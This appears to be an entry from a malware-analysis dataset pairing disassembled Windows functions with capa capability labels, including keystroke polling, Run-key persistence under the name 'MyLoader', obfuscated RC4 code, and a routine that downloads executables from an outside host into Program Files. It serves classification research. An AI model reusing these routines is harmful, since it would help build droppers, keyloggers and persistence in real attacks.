joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a3c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
movzx edi, cl
lea rax, [rdi - 0x60]
cmp rax, 9
ja 0x14001a445
sub rdi, 0x30
mov rbx, rdi
test rdi, rdi
je 0x14001a437
cmp rdi, 0x11
je 0x14001a401
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14001a401
mov rbx, rdi
bts rbx, 0xd
cmp rbx, 0x10
je 0x14001a41c
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14001a41c
bts rbx, 0xf
cmp rbx, 0x12
je 0x14001a437
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14001a437
bts rbx, 0xe
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp rdi, 0x6d
jne 0x14001a454
mov edi, 0xbd
mov ebx, edi
jmp 0x14001a3e9
cmp rdi, 0x6e
jne 0x14001a463
mov edi, 0xbe
mov ebx, edi
jmp 0x14001a3e9
cmp rdi, 0x6f
jne 0x14001a475
mov edi, 0xbf
mov ebx, edi
jmp 0x14001a3e9
lea rax, [0x14004b140]
mov rax, qword [rax + rdi*8]
cmp word [rax], 0
jne 0x14001a3db
mov rbx, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x14001cfd0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, rdx
mov rbx, rcx
test rdi, rdi
je 0x14001d085
cmp qword [rdi], 0
mov rbx, qword [rcx]
je 0x14001d051
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14001d069
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x14001d069
mov rdx, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rdi + 8], 0
je case.default.0x14001d069
mov rcx, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp byte [0x14005f678], 0
jne 0x14001d0d0
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001d0c0
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14005f670], rax
mov byte [0x14005f678], 1
jmp 0x14001d0d7
mov rax, qword [0x14005f670]
mov byte [0x14005f678], 1
jmp 0x14001d0d7
mov rax, qword [0x14005f670]
mov rcx, qword [rbx]
mov rdx, rsi
test rax, rax
je 0x14001d05a
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp rax
mov byte [rdi + 0x7f877877], al
add byte [rax], 0
add byte [rax], al
jg 0x14009c99a
invalid
jg 0x14009c99c
invalid
Function at 0x14001d990
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x480
mov rax, qword [0x14005c010]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r15, r9
mov rsi, r8
mov rbx, rdx
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x60], r14
xor edx, edx
lea r8d, [r14 + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14001da15
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14001da15
call fcn.14001cdf0
mov ebx, eax
jmp 0x14001db37
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14001da36
call fcn.14001cdf0
jmp 0x14001db26
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14001da59
call fcn.14001cdf0
jmp 0x14001db26
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x14001da7b
mov ebx, 0x8007000e
jmp 0x14001db28
mov ecx, eax
test eax, eax
je 0x14001dab0
xor edx, edx
mov rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x14001db6f
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x14001dab0
lea rcx, [rsp + 0x60]
call fcn.140020d40
jmp 0x14001daba
lea rax, [rsp + 0x68]
mov qword [rsp + 0x60], rax
jmp 0x14001dacd
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x14001dade
mov ebx, 0x8007000e
jmp 0x14001db28
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14001db03
call fcn.14001cdf0
jmp 0x14001db26
mov ecx, eax
mov rax, qword [rsp + 0x60]
mov word [rax + rcx*2], r14w
mov r8d, dword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.14001ea80
mov ebx, eax
test rdi, rdi
je 0x14001db37
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x14001db4e
lea rcx, [rsp + 0x60]
call fcn.140020d30
nop
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140025a70
add rsp, 0x480
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x80070216
call fcn.140001260
int3
Function at 0x140024040
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rsi, rcx
cmp qword [rcx + 8], 0
je 0x140024193
xor edi, edi
cmp qword [rcx + 0xe0], rdi
je 0x140024167
cmp qword [rcx + 0xe8], rdi
je 0x140024082
mov edi, 0xc80000
jmp 0x140024142
call fcn.1400013b0
mov rcx, rax
test rax, rax
je 0x1400241a6
mov rax, qword [rax]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x40], rbx
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ebp, [rax + 1]
test ebp, ebp
js 0x1400241b1
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, ebp
or eax, ecx
jge 0x1400240d9
mov edx, ebp
lea rcx, [rsp + 0x40]
call fcn.1400244c0
mov rbx, qword [rsp + 0x40]
mov r8d, ebp
mov rdx, rbx
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp eax, 0xffffffff
jne 0x1400240fa
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.140030d6c
test eax, eax
js 0x1400241b1
cmp eax, dword [rbx - 0xc]
jg 0x1400241b1
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
cmp dword [rbx - 0x10], 0
je 0x140024126
mov eax, 0xc00000
cmp word [rbx], 0
cmovne edi, eax
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140024142
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, 0x410000
mov ecx, 0x400000
cmp qword [rsi + 0xf0], 0
cmove eax, ecx
or edi, eax
cmp qword [rsi + 0xf8], 0
je 0x140024167
bts edi, 0x11
mov edx, 0xfffffff0
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xcb0000
cmp eax, edi
je 0x140024193
mov r9d, 0x37
mov r8d, edi
mov edx, eax
lea rcx, [rsi + 8]
call fcn.140014a90
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
mov ecx, 0x80004005
call fcn.140001260
nop
mov ecx, 0x80070057
call fcn.140001260
int3

Function at 0x140026690
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400266da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400266da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400266da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400266da
cmp dword [rcx + 0x84], 0xe
jbe 0x1400266da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400266dc
xor al, al
add rsp, 0x28
ret
Function at 0x14002c568
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002c3d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c3d3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c3d3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c3d3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c3d3
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c3d3
cmp dword [rcx + 0xf8], 0
je 0x14002c3d3
mov ecx, ebx
call fcn.14002c484
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002c260
nop
cmp dword [rbp + 0x20], 0
je 0x14002c421
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002c42c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002c364
Function at 0x140034a28
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140034a3e
mov al, 1
jmp 0x140034a9e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140034a4f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140034a9c
mov ecx, dword [rcx + 0x18]
nop
call fcn.140038a48
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140034a9c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140034a9c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140034a9c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140034a9e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140036050
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14005e920]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400360a7
cmp word [rdx], r13w
jne 0x1400360a7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400360ac
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400361d1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400361f2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400360e5
mov rdx, r9
mov word [rbx], cx
jmp 0x14003610c
cmp r9, r8
jae 0x14003611c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400360c6
jmp 0x1400361d1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400361c6
cmp dword [rsp + 0x80], esi
je 0x1400361c6
lea r8, [0x14005e920]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14003619e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14003616e
mov word [rbx], r13w
jmp 0x1400361ce
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14003617b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400361ce
cmp word [rsp + 0x70], r13w
jne 0x1400361ab
cmp rbx, r14
je 0x140036168
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140033950
cmp word [rsp + 0x70], r13w
je 0x1400361d1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14005e920]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400361cb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400361d1
Function at 0x1400380e8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14003816f
mov rsi, rbx
cmp word [rax], bp
je 0x14003812e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140038118
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140038114
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140034cc4
mov rdi, rax
test rax, rax
je 0x14003815c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140027b10
mov rbp, rdi
xor ecx, ecx
call fcn.1400321b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14003ca30
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140033950
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140033950
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14003cb80
cmp rax, 0xffffffffffffffff
je 0x14003cb80
xor edi, edi
test rbp, rbp
jle 0x14003cb2b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140036e38
mov rbx, rax
test rax, rax
jne 0x14003cab8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14003cb21
mov edx, 0x8000
mov ecx, r14d
call fcn.140031ec0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140034628
cmp eax, 0xffffffff
je 0x14003cb01
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14003cac8
mov edx, r15d
mov ecx, r14d
call fcn.140031ec0
jmp 0x14003cb21
cmp byte [rsi + 0x38], dil
je 0x14003cb18
cmp dword [rsi + 0x34], 5
jne 0x14003cb18
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14003cb21
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400321b8
jmp 0x14003cb94
jns 0x14003cb94
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140033950
cmp rax, 0xffffffffffffffff
jne 0x14003cb4c
cmp byte [rsi + 0x30], dil
je 0x14003cb94
mov edi, dword [rsi + 0x2c]
jmp 0x14003cb94
mov ecx, r14d
call fcn.140038a48
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14003cb94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14003cb94
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14003cb8d
mov eax, dword [rsi + 0x2c]
jmp 0x14003cb92
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140033950
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1407287e7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add qword [rsp + 8], 0xffffffffbf86dc25
call int.1407ef574
and dl, byte [rbp + 0x4569d6af]
jno 0x14072886e
add dword [rsi + 0x487f5ae8], esp
and esp, edi
test ch, bl
pushfq
add qword [rsp + 8], 0xffffffffbf89250d
mov qword [rsp + 8], 0x2ba9f5fd
push rbp
movabs rbp, 0x662d74ec486c3ee1
neg bp
push r13
mov rbp, qword [rsp + 8]
movabs r13, 0x7d195a734e242b41
not r13b
lea r13, [r13 + 0x48190c9d]
add r13w, r13w
xor r13d, r13d
mov r13, qword [rsp]
call fcn.14075739d
call rax
mov r11, rax
test rdx, 0x2f0c1c6e
test rax, rax
jmp 0x14080a179
invalid
call rax
jmp 0x14080a2d1
xor eax, eax
jmp 0x14080a0b7
jmp 0x14080a2d1
je 0x14080a0b0
cmp r11, rsi
jmp 0x14080a187
jne 0x14080a243
cmp byte [rsp + 0x180], dil
jmp 0x14080a19a
je 0x14080a223
lea rax, [rsp + 0x40]
movsx rdx, r12w
cmovbe rdx, rax
sub rbp, rax
movzx rdx, r9w
ror cx, cl
cdqe
nop
lea rdx, [rsp + rdi + 0x40]
cmc
setne ah
movzx eax, ax
mov ecx, edi
stc
rcr ah, cl
btr eax, 0xd3
mov eax, 0x60e62570
stc
jmp 0x14080a1da
rol eax, cl
cmc
clc
add al, dil
cmp bx, 0x5ae1
cmc
cmp ax, ax
xor al, byte [rdx + rbp]
jmp 0x14080a1f2
mov byte [rdx], al
jmp 0x14080a1f9
je 0x14080a21e
inc rdi
test bp, 0x4ed7
cmp dil, 5
clc
cmp rdi, 0x104
jmp 0x14080a218
jb 0x14080a1ba
lea rbp, [rsp + 0x40]
mov rdx, rbp
movsxd rax, ecx
cwde
mov rcx, rsi
cdqe
movzx rax, r9w
movsx eax, r12w
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1407830ec
cmp byte [rbx + 1], 0x23
lea rdx, [rbx + 1]
jne 0x14080a2b5
movzx edx, byte [rbx + 2]
cmp r13b, 0x72
cmc
add rbx, 2
cmp r8, r9
clc
jmp 0x14080a267
test dl, dl
je 0x14080a2ad
nop
lea eax, [rdx - 0x30]
inc rbx
test esi, 0x374530c0
cmp rdi, 0x2c5b3cd6
cmp al, 9
ja 0x14080a2ad
movsx eax, dl
movzx edx, byte [rbx]
adc cl, ch
xchg cl, cl
lea ecx, [rdi + rdi*4]
cmc
lea edi, [rax + rcx*2 - 0x30]
cmp cl, r15b
test dl, dl
jmp 0x14080a2a7
jne 0x14080a270
movsxd rdx, edi
btc cx, 0x7e
xor r8d, r8d
mov rcx, r11
call fcn.140809d00
jmp 0x14080a2d1
mov rbx, qword [rsp + 0x178]
xadd rsi, rbp
mov rdi, qword [rsp + 0x150]
movsxd rbp, esi
not rsi
cmc
add rsp, 0x158
movsx bp, dil
jmp 0x14080a300
pop rsi
bswap rbp
mov rbp, rbp
pop rbp
jmp 0x14080a30d
ret
Function at 0x140010b50
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rdi, rdx
mov rbp, rcx
mov edx, 0x2930
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140010baa
mov edx, 0x2930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualLock]
nop
mov edx, pe_nt_image_headers64
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140010bdd
mov edx, pe_nt_image_headers64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualLock]
nop
test rsi, rsi
je 0x140010c9b
test rbx, rbx
je 0x140010c9b
mov r9d, 2
lea r8d, [r9 + 0x3e]
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov rax, qword [rbp + 8]
mov rdx, qword [rax + 0x28]
movsxd r8, dword [rdx]
add rdx, 4
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x80]
call fcn.1400153e0
mov r8, rsi
mov edx, dword [rdi + 0x52]
mov rcx, rbx
call fcn.14001a650
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8d, 0x800
mov rdx, rdi
mov rcx, rdi
call qword [rsi + 0x2920]
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0xb0]
movups xmmword [rdi + 0x30], xmm1
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, 0x800
mov rdx, rdi
call qword [rax + 0x30]
xor ebp, ebp
jmp 0x140010cac
lea rcx, str.Malloc_Failed_n
call fcn.14000f040
mov ebp, 0xd
test rbx, rbx
je 0x140010d05
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jne 0x140010cf3
cmp qword [rsp + 0x50], rbx
jne 0x140010cf3
cmp qword [rsp + 0x58], rbx
jne 0x140010cf3
mov rdi, rbx
xor eax, eax
mov rcx, qword [rsp + 0x68]
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
test rsi, rsi
je 0x140010d5d
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp rax, 0x30
jne 0x140010d4c
cmp qword [rsp + 0x50], rsi
jne 0x140010d4c
cmp qword [rsp + 0x58], rsi
jne 0x140010d4c
mov rdi, rsi
xor eax, eax
mov rcx, qword [rsp + 0x68]
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebp
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14001ef00
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001060
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 0x104
mov r8, rcx
mov qword [rsp + 0x20], rax
mov rbx, 0xffffffffffffffff
xor edx, edx
mov r9d, ebx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x40]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400010d3
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
lea ebx, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ebx
lea rdx, str.MyLoader
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x260
pop rbx
ret
Function at 0x140001140
Capabilities:
Download url
Get common file path
Get startup folder
Receive data

Disassembly:
sub rsp, 0x588
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x570], rax
lea rax, [rsp + 0x360]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.http:__cm02814.tw1.ru_bbbb_bbbb.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x150]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.C:Program_FilesMyProgram_bbbb.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x150]
xor ecx, ecx
lea rdx, [rsp + 0x360]
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rax, [rsp + 0x150]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.http:__cm02814.tw1.ru_bbbb_CheckerV2.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x360]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.C:Program_FilesMyProgramCheckerV2.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x360]
xor ecx, ecx
lea rdx, [rsp + 0x150]
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rax, [rsp + 0x150]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
